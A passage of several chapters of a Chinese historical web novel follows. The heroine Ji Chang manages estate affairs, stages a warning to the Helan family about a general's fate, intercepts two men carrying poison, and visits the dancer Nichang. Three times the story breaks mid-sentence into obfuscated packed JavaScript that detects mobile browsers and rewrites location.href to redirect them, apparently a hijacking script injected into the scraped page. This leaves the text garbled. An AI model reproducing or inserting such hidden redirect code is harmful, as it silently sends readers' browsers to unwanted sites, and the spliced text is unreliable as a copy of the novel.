南玖看出季昶有事要做,仓促直起身子又不知牵扯到哪儿了,低头咳嗽半天,季昶离得近些下意识给他拍了拍后背让他顺口气。 等季昶意识到自己干了什么的时候,南玖已经咳嗽完了,抬头轻声道:“多谢阿昶。” 季昶在这一声“阿昶”和他抬头望向自己的眼神中僵硬收回手,干巴巴开口:“彧璋兄当心身子。” 阿昶,多雷人啊。 南玖似乎对于自己刚刚叫了季昶那一声后十分满意,又有些不好意思地低头笑了下:“不知道这样称呼是否有些冒犯了......但见到你我就感觉特别亲切,不小心就......” 只要是个有同理心的人,看到这样一幕都不忍心会说什么难听的话。 季昶虽然不是什么有同理心的人,但好在她十分能装又能忍。 “我见彧璋兄也是十分亲切,仿佛曾经见过一般投缘。”可不是上辈子见过。 南玖又笑了下,似乎想起什么来开口:“阿昶若是有事先去处理吧,别耽误你的事了。” 多善解人意的小天使啊,不对,大天使。 季昶看着他高出常人的身量心里默默改口。 上辈子咋就变成那么一个毒夫了呢? 她暂时想不出答案,笑着跟南玖告辞,表示自己之后会经常来看他,迈步离开。 南玖顺着窗外看着季昶远去的身影,见她似乎对阿青交代了几句,不过这边完全听不清说什么,直到她的身影离去很久,才看向早就回到屋里在一旁清理的阿青。 “武昌伯安,郎君都告诉叮嘱了,之前是小的照顾不周,还望您体谅。”阿青看着视线移动过来的南玖,低着头倒是不见之前那般害怕了。 她确实不害怕了,刚刚郎君的意思是自己目前不会被调走,既然自己饭碗保住了,只要顺利完成好郎君交给自己的任务就好了。 南玖微笑点头:“劳烦阿青姑娘了。” ...... 别院到月家主宅的路不远,坐马车不过一盏茶时间。 季昶一边心里唾弃自己真是越来越堕落了,不坐马车不出门了,也是染上纨绔恶习了,一边又坐在马车上享受着月家最新研究的软垫,感觉这个软垫坐着不错,之后可以大力推广。 软垫不同于平常贵族一般坐的动物皮毛和方褥等,内里填充物软硬适宜减震效果甚好,而且表面似乎是冰绡材质,摸起来细腻又清凉。 天气回温了,接下来这种清凉面料的制品会更受欢迎。 砚秋停下马车,拿出马凳,诗语为她掀开车帘。 季昶利落下车,随口道:“软垫不错,不过冰绡料贵,过段日子再上市。” 砚秋在一旁点头:“是嘞,工坊那边也说这料子贵,等天气热了定价高些卖给那些士族能大赚一笔。这是前些日子才赶工做出来的,为的是让郎君您先试个新鲜,您说行了那边再做。” 季昶点点头,没说什么。 月家就月云华和季昶两个主子,月云华平日里经常遍地出差不在家,讨好的对象自然大多数落在了季昶头上。 她身边平日里就诗语和砚秋二人最亲近,给些好处让她俩捎点好话也是屡见不鲜了。 季昶并不阻止这些行为,只要这二人忠心获得些好处也是应该的,她二人也知道自己得到这些不过是因为季昶这个主子,所以也知道分寸。 这几日月云华说是出去做生意去了,家里一众事务都落在了季昶身上,当然琐碎的事务还是由苏嬷嬷打理,这次要不是汇报城西那块地的事她肯定也不能专门走一趟。 “郎君。”刘工等人在会客厅等候多时了,一群人里还有一个她熟悉的身影,季昶装作没看到,进门后坐至首位点点头。 诗语给季昶上茶,几人给她行过礼后也纷纷落座。 这是季昶这边的规矩,长话不一定要短说,但得坐下说。 “郎君,房屋图纸我们已经大概有了雏形,您请过目。”说着将手上的图纸双手捧起,由砚秋转手递给了季昶。 季昶低眸看着图纸,听着下一个人的汇报。 “郎君,部曲那边最近已经在城西那边耕作了,开垦出来的耕地已经种完,目前还有大约三分之一的耕地正在开垦。” 陈督长汇报完,欲言又止的看了一眼站在身旁的人,又见季昶没有其他的表示只是低头看着图纸,想了想还是没说什么。 站在他身侧的人正是前几日被季昶罚去庄子的季初。 一开始陈督长听说她被罚了,还以为她得心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298831|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有埋怨,前几日还特意观察她来着。 没想到她完全认罚,不仅每日完成惩罚的那几圈,平时训练时也更有劲了,整个人像是打了鸡血。 这也是最近看季初训练刻苦,干农活也比别人干得好干得快才允许她跟着自己来月家。 但看自家郎君的态度,他又有些拿不准了。 虽然他是个耿直的老实人,但也不傻,最后还是偷偷侧过头给了季初一个“自求多福”的眼神。 季初从季昶进门后就一直默默看着她了,虽然心里也有想让郎君看看自己的想法,但知道这一趟的目的是给郎君汇报工作,也只好降低自己的存在感。 季昶继续翻着图纸,把她感觉需要改的图抽出来放在一侧,拿起茶杯喝了一口后又开口: “部曲们的训练如何?” 季初打起了精神,就听陈督长道:“最近几日部曲们训练的比平日更刻苦了,训练时叫苦喊累的情况也少了,整体精气神都上来了不少,饭吃的也比之前还多了。” 这事主要还是季初的功劳,好多部曲一开始偷偷打听到季初被罚了,虽然不知道她犯了什么事但是都准备看她笑话。 结果当事人不仅跟没事人一样每日多跑那几圈,还训练时更卖力了,让他们都不好意思偷懒了。 于是纷纷也认真训练了起来,有自认为耐力不行的女兵也跟着季初一起每日多跑几圈,到后来也感染了几个男兵跟着一起跑,平日里闹事的都少了。 “嗯。”季昶还是低头看着图纸,“多吃饭是好事,千万不能饿着了。” 她有考虑再过几日给部曲们多加一顿肉食,但是得下个季度看月家账目上的情况跟月云华商量后再决定,现在也只能保证肯定不会让部曲的伙食缺了。 “好,有郎君这么好的主子,他们不努力训练都对不起。”陈督长发自内心的笑了。 图纸差不多看完了,季昶把刚刚她觉需要改正的地方跟刘工说了,又叮嘱了几句后跟陈督长说: “过几日跟他们说,在部曲之间举行一场比试,前十都有奖励,魁首可以说一个愿望,只要不过分我就可以实现。” 话音刚落,剩下几人都抬头看向季昶,似乎没听明白她说了什么,陈督长最早反应过来,道:“那,那可真是大好事!” 一个愿望。 只要不过分,郎君都可以实现。 季初心中默念着,目光灼灼的盯着季昶,而她像是才看到自己,朝这边看了一眼后点了点头。 季初的内心瞬间火热一片。 郎君刚刚是在鼓励自己吗?那,她是否可以去试试,争一把那个魁首? 直到众人都退下,季初心里还在想着此事。 “郎君这是又有什么锦囊妙计了?”砚秋开口。 按照她对季昶的了解,她虽然对自己人都很大方,可也不至于天天当散财童子,更不必说这个看起来就有些大胆的奖赏。 “锦囊妙计自然是得藏在锦囊里,说出来就不算妙计了。” 砚秋瞪眼,郎君怎么比之前还蔫儿坏了?之前可是什么都跟她俩说,现在越来越不可爱了!又看向诗语,似乎在寻求认同感。 诗语倒是一脸若有所思,没看到砚秋的信号。她刚刚看到郎君跟季初的眼神交流了,有个猜测,心中一时有些复杂。 21. 慕容 晚些的时候贺兰家那边突然有下人来传话,说是贺兰骏来信了,看那下人的神情似乎十分欣喜,像是有好事发生。 “好,你跟贺兰灏她俩说,我等会儿过去。” 贺兰家的下人欢欢喜喜走了,季昶的心却沉了下来,知道终于要来了,于是叫上诗语砚秋她们一起去往贺兰家。 “奴去安排马车。”砚秋要走却被季昶拦住了。 “不用了,贺兰家就这么几步远,走着就去了。”季昶今天刚唾弃了自己,这会儿觉得……嗯,还是走着吧。 二人点头,跟着季昶步行前往贺兰家。却没想到短短的一条路上竟然又出了岔子。 “郎君,身后有人。”砚秋先注意到了身后跟着的尾巴,随即季昶跟诗语也对视了一眼。 三人不动声色,继续向贺兰家走去。 “郎君,奴好像忘记带东西了。”诗语突然开口。 “哎呀,临走前郎君还吩咐你要拿着东西!”砚秋仿佛无语了,双手插着腰看了诗语一眼,季昶赶忙出来打圆场:“无妨,我俩慢慢走着等你就是,你快去快回。” 季昶话音落下,诗语一脸羞愧的转身回去,砚秋则是继续对季昶告状。 暗地里跟着的人对视一眼,都看到对方眼里的欣喜,太好了,刚刚还担心三个人扎着堆够呛能得手,这下只剩下两个人了,成功几率大大提高。 季昶和砚秋二人慢悠悠的转过一个胡同口,身后的尾巴跟上,却没在胡同里看到两人。 “怎么……”回事。 身后跟着的一人话未说完,只觉眼前一黑,整个人就向前方栽了下去。他身后正是刚刚被诗语打晕的另外一个同伴,此刻也倒在地上不省人事。 季昶和砚秋从一旁的巷子里出来,砚秋一脸嫌弃的打量着地下趴着的两个人,说道:“就这点身手也想当尾巴。” 诗语上前翻了翻他们的衣物,翻出了一个小瓷瓶,然后又看了看他们的打扮装束道:“应当是某家的家仆,看身材应当是略有点身手。”说完将小瓷瓶递给季昶,又叮嘱道:“此瓶长得略有些眼熟,记得在徐大夫那里也有几瓶类似的。”剩下的话就不必多说了。 季昶点点头,拿起小瓷瓶看了看。 又是黎骨那边的药。 那边有很多闻到或碰到就能中毒的药,所以季昶也没把瓶塞打开,看着地上趴着的两人,用脚踢了踢,又皱着眉歪头思考了片刻,大概锁定了嫌疑目标,随即摆摆手。 砚秋和诗语将这二人拖走。 季昶是在天黑后到的贺兰家。 贺兰双子一边出来迎接季昶,一边又嘟囔她的行动怎么这么慢,就这么两步路,竟然要让他们等到天黑。 季昶只是笑笑,说有点事耽搁了。 “咦,怎的不见砚秋姐姐?”贺兰灏往季昶身后看去,确实只有季昶和诗语来了,并未带旁人。 往常季昶如果不带其他家丁,那必然是会带上砚秋和诗语两人的。 “砚秋去庄子上了,那边有些事。”季昶随口说道,然后从贺兰逸手上拿过信件,问:“什么好消息?刚看你家家仆欢喜得很。” 贺兰灏的注意力立马来到了信上,笑着开口:“是小叔叔来信了!” 贺兰逸也在一旁乐得直蹦哒,胖墩墩的脸蛋随着蹦跶的频率一颤一颤得,像个白面馒头。 “小叔叔又赢了!” 旁边贺兰家的嬷嬷怕贺兰逸被自己的袍子绊倒,连忙上去搂住他,脸上也是掩不住的喜色:“二郎君此次大胜黎骨,这会消息应当也传去宫里了。” 季昶笑着连连点头:“贺兰二叔武功盖世无双,年纪轻轻就战功赫赫,不知此次皇上该如何赏赐了。” “定会大加赞扬,以彰显对贺兰将军的器重,像前朝宣帝对慕容将军那般,当真是......”说到一半,诗语似乎意识到自己失言了,降低了声音,看向季昶。 贺兰家其他人没听出其中玄机,只一派其乐融融的景象,却见季昶神色一凝,看向诗语。 “郎君,奴胡言乱语,请您赎罪。”诗语一下子跪了下来,在地上不断叩头,吓坏了贺兰家三人。 “诗语姐姐,你这是......”贺兰灏不懂怎么突然这俩人就变了神色,只是上前打算将诗语拉起来。 “哎?”贺兰逸看不懂当前的形式,脸上还乐呵呵的,被贺兰家嬷嬷扯了一把袖子,把呲着的大牙收了起来。 观众都看过来了,季昶便佯装竭力压抑恼怒的道:“你们可知这前朝宣帝与慕容将军的典故?” “这......”嬷嬷和贺兰逸对视,他俩没听过,贺兰灏开口疑惑:“可是前朝年少出名被称为杀神的慕容将军?” 传闻那位慕容将军出身微寒,十四岁凭借实力杀出一条血路,得到前朝宣帝赏识,后成为几乎战无不胜的将军。 听到“杀神”的称呼,其他人也都想起来确实有这个人物。 “相传宣帝对慕容将军荣宠非凡,割炙引酒、赐宅近阙视作平常。”对于贺兰灏来讲,如果自家小叔叔可以获得这种荣宠......她真是做梦都笑醒。 季昶却摇摇头,问道:“你们可知这个慕容将军的下场?” 这下确实是无人知晓了,就听季昶道: “传闻宣帝临死前想要联合儿子一同杀死慕容将军。” 几人闻言一惊,怎么也想不到会是这种下场,贺兰逸想反驳,却见贺兰灏似乎想到了什么,问:“这个慕容将军可是当今那位的......” 季昶点点头:“正是那位的先祖,慕容将军识破了宣帝和他儿子愍帝的计谋,召集兵马,开创了这大乾。” 话音落下,屋子里一片寂静,几人哑口无言,这种话确实是不能乱说啊。 主要是没想到这传闻中的慕容将军竟然就是这个慕容。 “这,诗语姐姐也是失言,毕竟常人甚少有人能知晓这其中秘辛,季昶你就绕过她吧。”贺兰灏顾不上背后的冷汗,给诗语求情。 贺兰逸也附和:“对呀对呀,要不是今天诗语姐姐提到,我们都还不知道嘞。” 连贺兰家的嬷嬷也是一脸后怕,附和着二人的话,让季昶饶恕诗语。 季昶只好“勉为其难”的放过了诗语,只是神情还是严肃的道:“贺兰家如今正在风口浪尖,凡是还是要小心谨慎,能暂避锋芒就别出去惹祸端。”说完特意瞅了贺兰逸一眼。 小胖子点点头,表示自己知道了。 贺兰灏还心有余悸,拉住季昶的袖子,仰头看着她小声试探:“之前君臣二人情谊甚笃,为何之后又兵戈相向?” “或许是怕功高盖主。” 贺兰灏的心一下子坠落,背后的冷汗又冒了出来,只感觉眼前一片眩晕,呼吸都有些不顺畅,颤抖着嗓音干巴巴道:“是......是这样嘛。” 她突然想起了当下的贺兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351864|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,又看着自家傻弟弟和嬷嬷还在庆幸自己没出去乱说什么,恐惧感慢慢爬上了她的心头。 这时,肩上却被温暖的手掌拍了拍,将她从恐惧的漩涡中拖了出来,她转头看正是季昶。 “你想的不是没可能,但现在还不算太糟。别怕,还有我。” 她听季昶这样说道。 不知怎的,心就像被温柔的手托住了,也没有刚刚那么慌了,贺兰灏点点头。 是啊,还有季昶,她从小就聪慧,一定有办法的。 “你们可有私下里联络贺兰二叔的路子?” 这肯定是有的,虽说贺兰家前些年没落了,但好歹祖上富过,这种路子可能不多但一定可靠,贺兰骏寄回来的书信就是走的这条路子。 季昶一早就知道,现下也不过是做表面功夫问问而已。 果然贺兰双子都点点头,贺兰家嬷嬷欲言又止,最终也还是没说什么。 “你们先给贺兰二叔写封信件,具体怎么写我跟你们细说......” 几人在贺兰家吃过晚饭,又说到了很晚才结束,贺兰灏提议让季昶坐他们家的马车回去,季昶爽快答应了。 之后该坐马车的时候还是得坐。 贺兰双子也没之前那么焦躁不安了,看着季昶在门口跟她告别,季昶朝他们安抚性点点头。 车帘放下,贺兰家的马车就朝着月家驶去,贺兰双子看了一会儿又互相对视了一眼,都看到对方眼中藏着的不安。 “应该会没事的。” “嗯嗯,季昶也说了只是有备无患。” 马车上,季昶此刻在闭目养神,诗语则时刻关注着车外的动静,一路平稳回到月家,没有什么意外。 月家门口,砚秋和苏嬷嬷早就在等着了,跟贺兰家的人告别后,几人进了屋。 “今日怎么不多带几个人出去,还回来的这么晚,要是让月娘知道了......” 季昶闻言揽住苏嬷嬷的胳膊,笑着低声道:“知道啦,之后一定多带几个人出去,以后肯定不这样了,嬷嬷就别告诉月姨了。” 苏嬷嬷板着脸看着季昶,没多久就架不住她这一套笑了起来:“你呀,以后不许了!” 季昶连连点头,将苏嬷嬷送回屋里歇息。 苏嬷嬷是月云华身边的老人了,从月云华小时候就一直跟着伺候。 季昶小时候月云华经常出门做生意,也是多亏了有苏嬷嬷在一旁教导着诗语砚秋她们,才没出什么岔子。 可以说月家待苏嬷嬷不仅仅是当嬷嬷看待,更多的是当长辈。 回到自己院落,诗语在身后将院门关闭,砚秋立马凑到季昶身边,小声道:“都弄好了。” 季昶点点头,那两个尾巴除了王家不作他想,她这么做也只是为了不打草惊蛇,明天她还要再去一趟花萼坊。 “郎君可是在思索贺兰将军的事?”刚刚诗语和她做的那场戏是一早就约定好的,为的就是能提醒一下贺兰家。 “这之后贺兰将军就没事了吧?”本来砚秋也要去参与这场戏,不过因为要处理那两个尾巴就没来得及去,她看看诗语又看看自家郎君,却见她俩脸上并没有露出轻松的神色。 “但愿吧。” 这封信能有多少用途她也无法算出,只希望能让贺兰骏有所提防,其余的只能交给天意。 季昶转动着手指上的玉戒,心里盘算着是时候建立更多情报网了。 22. 霓裳 第二日一早,外边就一直沸沸扬扬地传着什么神秘传闻,苏嬷嬷好奇派人问了问发生了什么情况,得知了离这里两条街的地方有两名壮汉惨死! 前来传话的下人们绘声绘色的描述着那人的惨状,有说是什么满脸流血,面色发紫,浑身僵硬的,又有人说是满脸生疮,浑身流脓,臭气熏天的,总之这俩惨死的男尸就没个好死。 贺兰双子一早听到消息后也来了月家,他俩这会儿本就为贺兰骏的事着急上火,又听闻这么一件骇人的事,自然是马上来找季昶。 季昶刚练完一套拳法,打算再练练剑,就被这俩人拽来听八卦了。 “此事还是前头那个倒金汁的老头发现的,”一个传话的下人说完,脸上露出了异样的神采,似乎在庆幸自己没去干这种活,“听闻两个男尸倚在墙边,本来还以为是醉汉,结果上前一看是死人!吓得他连手上的粪桶没拿稳当,又撒了那俩死人满身……” 贺兰逸默默停下手上还在吃着的东西,贺兰灏也把手上的吃食放在桌上,季昶无语凝噎,自己还没吃早饭。 诗语本来想拿来日常进补的药膳给季昶,走到一半又把碗送回去了,她听到这话都恶心的要命了,估计郎君也不会想喝了。 苏嬷嬷一边做着绣工,一边抬头看了一眼季昶,嘱咐道:“还好昨日郎君没碰到这一茬,之后可要仔细些。” “对对,这几日就先别出门了。”贺兰灏说完反应过来自己现在正在月家,想留在月家住下又担心小叔那边回信自己不能及时收到,一时有些纠结。 “好,这几日我晚上就不出门了。”季昶说完又问贺兰双子吃没吃早饭,这俩人刚听到那么恶心的事,这会子哪里还有心情吃什么早饭。 “那还不快去上课,过两日夫子们还要检查功课。”季昶笑着恶魔低语。 季昶因为都把这些书背了个滚瓜烂熟,平时课业都不怎么去上,只需要在几日一次的夫子考教中让他们满意即可。 但这俩就不同了,连夫子考教都应付不过去,哪里还能不去上学,二人闻言狠狠地咬了咬牙又转身去准备上学了。 唉,比起这个神秘惨死案,还是夫子的考教更让人害怕些。 吃完早饭后,季昶打算去花萼坊找一下霓裳姑娘,就见砚秋从门外进来。 “打听到了,那俩人是王家的家仆,现在衙门的人正在查这件事,不过听小道消息说不久就会结案了。” 砚秋往凳子上一坐,季昶将一旁的茶水递过去,她受宠若惊的喝了一口感觉这茶咋一股怪味。 “诗语在煎茶时加了不少补品进去,别辜负了。”季昶微笑。 呃......原来是诗语的灵机一动。 砚秋硬着头皮默默喝完了,继续道:“剩下的药给徐大夫送过去了,他说这药确实是黎骨那边的,不过具体有什么作用他还得再研究研究,目前只知道这药碰到皮肤上就会让人七窍流血、皮肤溃烂。” 季昶点点头,又问:“王家那边现在如何?”、 “就像没事人似的,也没人去衙门,不过倒是有鸟雀飞出,向着城东那边飞去了。” 城东是兰芝县的方向,王家本家在那边,云澜王家本就只有那个体弱多病的王大郎君在此养病,听闻是王家家主去世的前妻所生,又不受宠爱,像隐形了一样。 不过这个王志康目前好像也住在云澜这边,一个是受尽万千宠爱的嫡次子,一个是被忽视如同背景板一样的嫡长子。 季昶想了想觉得这其中也有乾坤,顺手将茶杯拿起来喝了一口。 “呃?” 抬头看到砚秋偷偷憋笑,诗语在一旁慈爱的看着她。 “郎君,诗语才给您又添了一壶茶,您别辜负了。”砚秋贱兮兮笑着。 马车悠悠地开到了花萼坊门口,这会儿外头艳阳高照,花萼坊门口的小厮揉着眼懒洋洋地说还没营业。 “找霓裳姑娘,小哥您行个方便?”说完,砚秋拿出一块碎银,放在小厮手心。 小厮立马睁开了眼,眉开眼笑地说去给坊主汇报一声。 看着花萼坊小厮精神抖擞的背影,季昶给了车夫一个眼神,就带着诗语砚秋进门候着。 “哟,这是谁家郎君......”坊主从二楼摇曳生姿地走下来,脸上还带着遮面的红纱,婉转的声音在看到季昶的时候卡了壳。 “季,季郎君?!” 季昶点头,笑着道:“坊主竟然还认得在下,真是荣幸。” 坊主藏在面纱下的笑容已经扭曲了,这原本可能是不认得的,但因为你把红绡买走了,她可是结结实实挨了自家二郎君的打,这会儿脸还肿着没法见人呢。 后边更是好不容易才把那个二世祖给哄好了,不然这花萼坊得让他拆了。 心里肯定是犯嘀咕,话说出口却是笑着恭维道:“您那日千金一掷为红颜,实在是令众人都难忘啊。” 毕竟季昶真的给的太多了,就算再来一次,知道会被王志康那个二世祖暴打一顿,她也还是忍不住! 那就好办了,砚秋又掏出一片金叶子递给坊主,道:“我家郎君今儿想看霓裳姑娘跳舞,不知坊主这边是方便还是不方便。” 坊主笑着收下,道:“方便方便。”让人引她们上楼,又转身叫龟公去喊人。 这龟公正是上次叫红绡的那个,前几日也被王志康打了,这会儿腿都不利索,一听又要叫霓裳就想起那日被暴打的场景,面露难色。 “快点去!这是大客户。”坊主悄摸拿出金叶子给他看,又补充道:“对霓裳态度好点。” 她现在可就只剩霓裳这一棵摇钱树了,这几日都细细护着。 几人又是去的上次那个房间,屋内还是点着甜腻的熏香,诗语知道自家郎君不喜这些味道,把香灭了打开了窗子。 乐坊侍女知道这位季郎君身边不需要人伺候着,将茶饮糕点放下就去门外了。 不到半盏茶的时间,霓裳就被一堆乐师众星捧月般簇拥着进门了。 比起上次见她时,整个人美艳妖冶了不止一点,看来坊主是决定好好捧着这唯一的头牌了。 霓裳只是看了一眼季昶,就像面对一个平常的客人那般询问要看支什么舞,季昶随口说了一个,霓裳的表演就开始了。 连着跳了好几支舞,也喝了不少酒,又上来了一壶,季昶趁机开口道:“霓裳姑娘陪我喝点?” 诗语给其他乐师各打赏了一包碎银,众人都很有眼色,心满意足的拿着赏钱退了下去。 霓裳从帷幔后边出来,跪着趴在地上。 “多谢那日郎君的恩情!” 霓裳说完又要给季昶叩头,被诗语眼疾手快的扶住了,就听季昶道:“对不住,红绡她......” 后边的话不说霓裳也明白了,却见她并没有特别伤感的神色,只是笑着哽咽:“早就想到会有这一天,那日红绡走的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霓裳摇头:“我听其他人提起过,这个阿财更多时候是听王夫人也就是王志康他娘的话,平时也经常来云澜这边视察王家的产业,所以王家各掌柜都对阿财很尊敬。” 那怪不得那个阿财一天天的鼻孔看人,合着是未来王家大管家。 季昶思索着,手在酒杯上不自觉敲着,又问了一些其他的关于花萼坊的事,霓裳全都知无不言,甚至很多季昶没问的她都说了。 “如果你想的话,我可以带你出去。” 季昶起身,看着霓裳,她给了不少关于王家和花萼坊的事,而且她私心还是想让霓裳过得好些,当然这个得看霓裳自己的想法。 霓裳摇摇头,又给季昶跪下行了大礼,低声道:“郎君已经为红绡做了很多事了,仅是这恩情霓裳就已经很感激了。” 季昶低头看着她,想了想补充道:“红绡临死前一直放不下的就是你,她一直在喊着你的名字。” 跪着的女人一顿,抬头看向窗外,有许多叫卖声,她还听到有卖米糕的,正是之前红绡喜欢吃的。 季昶看她执意如此也不多劝,转身准备要走。 霓裳顿了顿将手腕上的素银镯摘了下来,递给季昶。 “这镯子是我与红绡一人一件的,还请郎君帮我带给红绡。” 季昶接过镯子,就见这位瘦弱的女子像是了却了一桩大事,微笑送行。 “恭送郎君。” 23. 坤载 那日过后没几日,坊间又流传霓裳姑娘坠楼而亡的事。 原本没动静的王家又喧嚣起来,王志康杀到花萼楼想第一个去给霓裳哭坟,结果还去晚了,已经有许多纨绔子弟将花萼楼围成一堆了,听闻似乎王志康跟几个世家纨绔起了争执。 之前王志康只对外宣称红绡的所有权,已经将不少纨绔得罪了,现在又跳出来要给霓裳哭丧,那几个世家纨绔也都是十几二十岁的年纪,也是家里捧在手心里的,哪管他兰芝王家几斤几两,所以此事闹得沸沸扬扬,出动了不少衙门的人还有愈演愈烈的架势,连郡守都坐不住了。 又这样喧闹了好几天,以兰芝王家出面把王志康从云澜城内带回去严加看管为结尾,这件事算是告一段落。 只是受到影响的不只是那些世家纨绔,连书院中的各学生都吃瓜吃的起劲,每日沸沸扬扬传者流言,谈的不亦乐乎。 季昶今日来书院是为了接受夫子考核,作为平日里可以不用经常来学习的天才少年,这种小考还是要来参加的。 上午在众人面前应对夫子的问答,季昶特意露了怯,被夫子说了一顿后又讲解了半天,毕竟对她和其他学生的要求不同,问的问题也刁钻一些,夫子说完后也算是让她顺利通过了。 “回去还是多将精力投入治学。”夫子最后还是没忍住,嘱咐了一句。 毕竟季昶算是他们看着长大的,看他有好的天赋却浪费时间每天干别的,总归还是觉得可惜。 “是,谨遵夫子教诲。”季昶跟夫子行过礼退下后,回到自己的位置。 周围有些学生看季昶都被夫子罚了,瞬间感觉紧张的不行。 温昭看向季昶,见她还是神色轻松的样子,也放下了心,视线还未收回来,就听夫子叫到了自己的名字,连忙起身。 长孙明轩默默看着这一切,挑了挑眉。 一上午时间总算过去,中午季昶伸个懒腰打算去书院食堂。 这边是书院统一安排的膳食,虽然也有家里安排带饭的,但大多数学子还是选择在这边用午膳。 往常贺兰双子吃饭最是兴奋,今中午却都蔫了,一个个的味同嚼蜡,食不知味的。 “怎么了?” 这俩人今上午面对夫子提问时就答得不好,若是光贺兰逸还算正常,这小子本来就不爱读书,但是贺兰灏都答得不甚满意。 不止是他俩,其他也有好多学生回答的不好,一上午过去夫子气的胡子都要歪了,最后还是放他们去吃饭了。 “季昶,你听说霓裳姐姐的事吗?”贺兰灏低声问道,毕竟这不是什么好事,她自从知道了这件事后连着好几日都吃不下饭了。 贺兰逸也点点头,一脸失落,他们都想起了那日红绡的死,这几日别说温习功课了,睡觉的时候都想起这件事。 “听说霓裳死的时候是从楼上坠了下来,浑身是血,把一身的白袍都染成了红的。” “不对不对,这你就说错了,那日霓裳明明穿着的就是红袍,是坠楼后将地上都染红了。” “听闻花萼楼现在还在歇业。” “估计是开不了了。” 旁边传来其他学子们低声谈论的声音,贺兰灏没忍住低下头默默流着泪,贺兰逸生气他们将这件事当谈资的模样,起身想去揍他们,被季昶拉住了。 “先吃饭。”她对贺兰双子说。 季昶冷下脸来,看了刚刚谈论的那几人一眼,他们见季昶脸色不好,互相对视两眼也没再继续说这件事,小声转移了话题。 还没等俩人饭吃完,沈阅就走了过来。 “闻芳师兄。”众人停下动作起身给他行礼,沈阅回礼点点头示意他们随意即可,就来到了季昶旁边。 “昶儿,”沈阅低声道,“吃过饭后去找一下老师,老师要见你。” 季昶心下琢磨,面上笑着说:“已经吃完了,我现在就跟着师兄你过去吧。” 沈阅点头:“也好。” 于是两人在众人的注视中离开了食堂,二人前脚离开食堂内瞬间议论纷纷,都在猜测季昶怎么就被老师找了。 “别说了!你们还吃不吃了?”贺兰逸忍不住,将碗筷往桌子上一摔。 众人安静了一瞬,又有几个本就看贺兰逸不顺眼的公子哥起身,要反驳他。 “贤者言,静坐常思己过,闲谈莫论人非。”温昭起身,看着众人,又道,“今上午夫子刚说让诸位将时间多用于治学,而不是这背后论人是非之事。” “就是啊,一个个的背后说别人,还君子呐。”长孙明轩也懒懒补充,看向了刚刚站起来的那几人。 那几位公子哥本就是趋炎附势之徒,平日里没少跟着长孙明轩身后附和他的话,这下看温昭和长孙明轩都为季昶说话,也都悻悻然坐下。 其他人看温二公子生气了,也都不敢说什么,食堂内一瞬间安静的只剩下吃饭的声音。 贺兰双子看向温昭,却见他只是重新端坐下来,低声跟长孙明轩说着什么。 “哟,今个咋突然这么生气。”长孙明轩悠悠开口,见温昭看过来。 “明轩兄今日怎的也为季昶仗义执言?” “呵,”长孙明轩轻笑一声,见对方还是看着自己,又道:“还不是看你站起来了,我可不是为了季昶。” “那多谢明轩兄了。” 季昶不知道食堂里发生的事,只默默跟在沈阅身后,又听他迟疑道:“刚听夫子说上午考察你礼运篇,答得并不满意。” 沈阅现在已经不跟季昶等人一块学习了,所以上午的事他不太清楚,只能从别人嘴中听闻只言片语。 季昶知道他疑问的是什么,上午夫子所问的问题与之前雅会前同各地文人们讨论过的相似,那时沈阅还说她答得妙,现今突然被夫子点名,任谁都觉得奇怪。 “所以夫子才教育我们要时常谦逊自省,学无止境啊。” 沈阅并不会被季昶这几句简单糊弄过去,但季元鸿的院落到了,他也没再说什么。 “老师,季昶到了。”沈阅引季昶进门,二人给季元鸿行礼后他就转身离开,临走前还将房门关上,守在门外。 “老师,您找我?”季昶看沈阅的动作心下嘀咕,又看季元鸿那老神在在的坐在那里,一时不知道这老头葫芦里买的什么药。 季元鸿慈祥一笑,指着一旁的棋盘:“陪我下一盘。” 季昶心念一转,欣然答应:“好啊,那就请老师赐教。” 这一盘棋却从午时下到了日落,屋外隐约传来沈阅打扫院落时扫帚摩擦地面的声音。 “前阵子为师游历偶遇老友卜通。”季元鸿突然话音一转,从刚刚聊的话题转到了这个算命的秃头上。 “卜通大师棋艺精湛,老师没跟他杀一局?”季昶稳稳落下一子,不知道怎么突然提起了他。 也不怪季昶对卜通感官不好,对方就是个癫赖老头,天天给人算命又没几次靠谱,曾经还算出季昶杀孽深重,要她出家为尼,这谁能对他有好印象。 “哈哈,正是与他下棋时提起的,说北方帝星璀璨,或有天命。” 季元鸿说完,抬头看了季昶一眼,见她面上没有多余的表情,笑意更甚。 “那老头说的话十次能有一次可信。”季昶随口道,心下却是一沉,这话前世的季元鸿从未与他说过。 “你可知为师为何将季衡带回来?” 这也是季昶之前疑惑的,她自认为没有那么强大的蝴蝶翅膀足以影响还在外地 